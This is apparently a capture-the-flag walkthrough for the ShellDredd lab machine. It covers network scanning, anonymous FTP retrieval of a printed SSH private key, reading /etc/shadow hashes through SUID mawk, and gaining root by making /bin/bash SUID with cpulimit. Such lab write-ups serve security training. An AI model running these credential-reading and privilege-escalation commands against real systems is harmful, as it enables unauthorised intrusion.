Machine: shelldredd

nmap ping scan:
Target IP: 192.168.56.113

```
┌──[✗]─[root@parrot]─[/home/user]
└──╼ #nmap -sP 192.168.56.106/24
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-14 17:23 +08
Nmap scan report for 192.168.56.1
Host is up (0.00016s latency).
MAC Address: 0A:00:27:00:00:11 (Unknown)
Nmap scan report for 192.168.56.100
Host is up (0.0012s latency).
MAC Address: 08:00:27:DC:CB:5E (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.113
Host is up (0.00023s latency).
MAC Address: 08:00:27:A9:0B:98 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.56.106
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 1.86 seconds
```

We confirmed the above results with netdiscover where the target machine ip is also 192.168.56.113:

```
12 Captured ARP Req/Rep packets, from 3 hosts.   Total size: 720
_____________________________________________________________________________
  IP            At MAC Address     Count     Len  MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.56.1    0a:00:27:00:00:11      3     180  Unknown vendor
192.168.56.100  08:00:27:dc:cb:5e      2     120  PCS Systemtechnik GmbH
192.168.56.113  08:00:27:a9:0b:98      7     420  PCS Systemtechnik GmbH
```

nmap udp scan:
Udp open port: 69

```
┌──[✗]─[root@parrot]─[/home/user]
└──╼ #nmap -sU shelldredd
Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-14 17:37 +08
Nmap scan report for shelldredd (192.168.56.113)
Host is up (0.0012s latency).
Not shown: 999 closed ports
PORT   STATE         SERVICE
68/udp open|filtered dhcpc
MAC Address: 08:00:27:A9:0B:98 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1085.62 seconds
┌──[root@parrot]─[/home/user]
└──╼ #
```

ftp enumeration:

Able to logon as anonymous user.
Hannah is a hidden directory.

```
┌─[root@parrot]─[/tmp]
└──╼ #ftp
ftp> open
(to) shelldredd
Connected to shelldredd.
220 (vsFTPd 3.0.3)
Name (shelldredd:user): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
226 Directory send OK.
ftp> ls -lah
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    3 0        115          4096 Aug 06  2020 .
drwxr-xr-x    3 0        115          4096 Aug 06  2020 ..
drwxr-xr-x    2 0        0            4096 Aug 06  2020 .hannah
226 Directory send OK.
ftp> cd .hannah
250 Directory successfully changed.
ftp>
```

Download id_rsa which basically is useful to authenticate over ssh

```
ftp> ls -lah
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 0        0            4096 Aug 06  2020 .
drwxr-xr-x    3 0        115          4096 Aug 06  2020 ..
-rwxr-xr-x    1 0        0            1823 Aug 06  2020 id_rsa
226 Directory send OK.
ftp> lcd /tmp
Local directory now /tmp
ftp> get id_rsa
local: id_rsa remote: id_rsa
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for id_rsa (1823 bytes).
226 Transfer complete.
1823 bytes received in 0.00 secs (3.1783 MB/s)
ftp>
```

To pave way to logon as ssh:
1. Remove any existing keys on attacking machine.
2. Create new .ssh directory.
3. Chuck id_rsa in there and change its permission to 600.

```
┌─[user@parrot]─[/tmp]
└──╼ $cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEA1+dMq5Furk3CdxomSts5UsflONuLrAhtWzxvzmDk/fwk9ZZJMYSr
/B76klXVvqrJrZaSPuFhpRiuNr6VybSTrHB3Db7cbJvNrYiovyOOI92fsQ4EDQ1tssS0WR
6iOBdS9dndBF17vOqtHgJIIJPGgCsGpVKXkkMZUbDZDMibs4A26oXjdhjNs74npBq8gqvX
Y4RltqCayDQ67g3tLw8Gpe556tIxt1OlfNWp3mgCxVLE1/FE9S6JP+LeJtF6ctnzMIfdmd
GtlWLJdFmA4Rek1VxEEOskzP/jW9LXn2ebrRd3yG6SEO6o9+uUzLUr3tv9eLSR63Lkh1jz
n5GAP3ogHwAAA8hHmUHbR5lB2wAAAAdzc2gtcnNhAAABAQDX5OyrkW6uTcJ3GiZK2zlSx+
U424usCG1bPG/OYOT9/CT1lkkxhKv8HvqSVdW+qsmtlpI+4WGlGK42vpXJtJOscHcNvtxs
m82tiKi/I44j3Z+xDgQNDW2yxLRZHqI4F1L12d0EXXu86q0eAkggk8aAKwalUpeSQxlRsN
kMyJuzgDbqheN2GM2zviekGryCq9djhGW2oJrINDruDe0vDwal7nnq0jG3U6V81aneaALF
UsTX8UT1Lok/4t4m0Xpy2fMwh92Z0a2VYslOWYDhF6TVXEQQ6yTM/+Nb0tefZ5utF3fIbp
IQ7qj365TMtSve2/14tJHrcuSHWPOfkYA/eiAfAAAAAwEAAQAAAQEAmGDIvfYgtahv7Xtp
Nz/OD1zBrQVWaI5yEAhxqKi+NXu14ha1hdtrPr/mfU1TVARZ3sf8Y6DSN6FZo42TTg7Cgt
vFStA/5e94lFd1MaG4ehu6z01jEos9twQZfSSfvRLJHHctBB2ubUD7+cgGe+eQG3lCcX//
Nd1hi0RTjDAxo9c342/cLR/h3NzU53u7UZJ0U3JLgorUVyonN79zy1VzawL47DocD4DoWC
g8UNdChGGIicgM26OSp28naYNA/5gEEqVGyoh6kyU35qSSLvdGErTMZxVhIfWMVK0hEJGK
yyR15GMmBzDG1PWUqzgbgsJdsHuicEr8CCpaqTEBGpa28QAAAIAoQ2RvULGSqDDu2Salj/
RrfUui6lVd+yo+X7yS8gP6lxsM9in0vUCR3rC/i4yG0WhxsK3GuzfMMdJ82Qc2mQKuc05S
I96Ra9lQolZTZ8orWNkVWrlXF5uiQrbUJ/N5Fld1nvShgYIqSjBKVoFjO5PH4c5aspX5iv
td/kdikaEKmAAAAIEA8tWZGNKyc+pUslJ3nuiPNZzAZMgSp8ZL65TXx+2D1XxR+OnP2Bcd
aHsRkeLw4Mu1JYtk1uLHuQ2OUPm1IZT8XtqmuLo1XMKOC5tAxsj0IpgGPoJf8/2xUqz9tK
LOJK7HN+iwdohkkde9njtfl5Jotq4I5SqKTtIBrtaEjjKZCwUAAACBAOOb6qhGECMwVKCK
9izhqkaCr5j8gtHYBLkHG1Dot3cS4kYvoJ4Xd6AmGnQvB1Bm2PAIA+LurbXpmEp9sQ9+m8
Yy9ZpuPiSXuNdUknlGY6kl+ZY46aes/P5pa34Zk1jWOXw68q86tOUus0A1Gbk1wkaWddye
HvHD9hkCPIq7Sc/TAAAADXJvb3RAT2ZmU2hlbGwBAgMEBQ==
-----END OPENSSH PRIVATE KEY-----
┌─[user@parrot]─[/tmp]
└──╼ $rm -rf ~/.ssh
┌─[user@parrot]─[/tmp]
└──╼ $mkdir ~/.ssh
┌─[user@parrot]─[/tmp]
└──╼ $cp id_rsa ~/.ssh
┌─[user@parrot]─[/tmp]
└──╼ $cd ~/.ssh
┌─[user@parrot]─[~/.ssh]
└──╼ $chmod 600 id_rsa
┌─[user@parrot]─[~/.ssh]
└──╼ $
```

Initial foothold established:
We are logged in as hannah.

```
┌──[user@parrot]─[~/.ssh]
└─$ ssh -i id_rsa hannah@shelldredd -p 61000
The authenticity of host '[shelldredd]:61000 ([192.168.56.113]:61000)' can't be established.
ECDSA key fingerprint is SHA256:ceHZU8u3GwiQwVwrN4Ci83OAmTvAmIUOlLjtVYcP2KM.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[shelldredd]:61000,[192.168.56.113]:61000' (ECDSA) to the list of known hosts.
Linux ShellDredd 4.19.0-10-amd64 #1 SMP Debian 4.19.132-1 (2020-07-24) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Sep  5 09:20:42 2020 from 192.168.1.140
hannah@ShellDredd:~$ id
uid=1000(hannah) gid=1000(hannah) groups=1000(hannah),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)
,109(netdev),111(bluetooth)
hannah@ShellDredd:~$
```

user flag:

```
hannah@ShellDredd:~$ ls -lah
total 32K
drwxr-xr-x 4 hannah hannah 4.0K Sep  5  2020 .
drwxr-xr-x 3 root   root   4.0K Aug  6  2020 ..
-rw------- 1 hannah hannah    0 Sep  5  2020 .bash_history
-rw-r--r-- 1 hannah hannah  220 Aug  6  2020 .bash_logout
-rw-r--r-- 1 hannah hannah 3.5K Aug  6  2020 .bashrc
drwxr-xr-x 3 hannah hannah 4.0K Aug  6  2020 .local
-rw-r--r-- 1 hannah hannah  807 Aug  6  2020 .profile
drwxr-xr-x 2 root   root   4.0K Aug  6  2020 .ssh
-rw-r--r-- 1 hannah hannah   25 Aug  6  2020 user.txt
hannah@ShellDredd:~$ cat user.txt
Gr3mMhbCpuwxCZorqDL3ILPn
hannah@ShellDredd:~$ cat user.txt |base64 -d
���2¦�1 ⍰+⍰2⍰ ⍰⍰hannah@ShellDredd:~$
```

Interesting entries while hunting for suid binaries, namely cpulimit and mawk.

```
hannah@ShellDredd:~$ find / -type f -perm -4000 2> /dev/null
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/umount
/usr/bin/mawk
/usr/bin/chfn
/usr/bin/su
/usr/bin/chsh
/usr/bin/cpulimit
/usr/bin/mount
/usr/bin/passwd
hannah@ShellDredd:~$
```

For mawk, am able to read shadow files. So far root password isn't crackable.

```
hannah@ShellDredd:~$ mawk '//' /etc/shadow
root:$6$K8F/NKvChz2HHg/G$mjTHs5TIrb7RHhWcyQjIyI.sG1l9o.ti1B4VO4.jh/.3/WFTufakCoVK1MtbLSitzXgbROWZEW/BLDcwFfhFL0:18
480:0:99999:7:::
daemon:*:18480:0:99999:7:::
bin:*:18480:0:99999:7:::
sys:*:18480:0:99999:7:::
sync:*:18480:0:99999:7:::
games:*:18480:0:99999:7:::
man:*:18480:0:99999:7:::
lp:*:18480:0:99999:7:::
mail:*:18480:0:99999:7:::
news:*:18480:0:99999:7:::
uucp:*:18480:0:99999:7:::
proxy:*:18480:0:99999:7:::
www-data:*:18480:0:99999:7:::
backup:*:18480:0:99999:7:::
list:*:18480:0:99999:7:::
irc:*:18480:0:99999:7:::
gnats:*:18480:0:99999:7:::
nobody:*:18480:0:99999:7:::
_apt:*:18480:0:99999:7:::
systemd-timesync:*:18480:0:99999:7:::
systemd-network:*:18480:0:99999:7:::
systemd-resolve:*:18480:0:99999:7:::
messagebus:*:18480:0:99999:7:::
avahi-autoipd:*:18480:0:99999:7:::
sshd:*:18480:0:99999:7:::
hannah:$6$HBkqNZtksGwxk1.I$73ApnZj2r3t38UteeX3kwpweWNcxyHEYaxT8HIrylT9q.b.zF2MI1FrvNvGG65DkFxTTC.6sd8mWsmuD.3Zma0:
18480:0:99999:7:::
systemd-coredump:!!:18480::::::
ftp:*:18480:0:99999:7:::
```

To escalate privilege using cpulimit, add suid bit to //bin/bash, then run shell as root by using //bin/bash -p.

```
hannah@ShellDredd:~$ cpulimit -l 100 -- chmod +s /bin/bash
hannah@ShellDredd:~$ Process 800 detected
Process 800 dead!

hannah@ShellDredd:~$ ls -l /bin/bash
-rwsr-sr-x 1 root root 1168776 Apr 18  2019 /bin/bash
hannah@ShellDredd:~$ /bin/bash -p
```

root flag:

```
bash-5.0# ls -lah
total 28K
drwx------  3 root root 4.0K Sep  5  2020 .
drwxr-xr-x 18 root root 4.0K Aug  6  2020 ..
-rw-r--r--  1 root root    0 Sep  5  2020 ..bash_history.swp
-rw-------  1 root root   34 Sep  5  2020 .bash_history
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
drwxr-xr-x  3 root root 4.0K Aug  6  2020 .local
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-r--r--  1 root root   25 Aug  6  2020 root.txt
bash-5.0# cat root.txt
yeZCB44MPH2KQwbssgTQ2Nof
bash-5.0# cat root.txt |base64 -d
��B�
    <}�C����bash-5.0# hostname
ShellDredd
bash-5.0#
```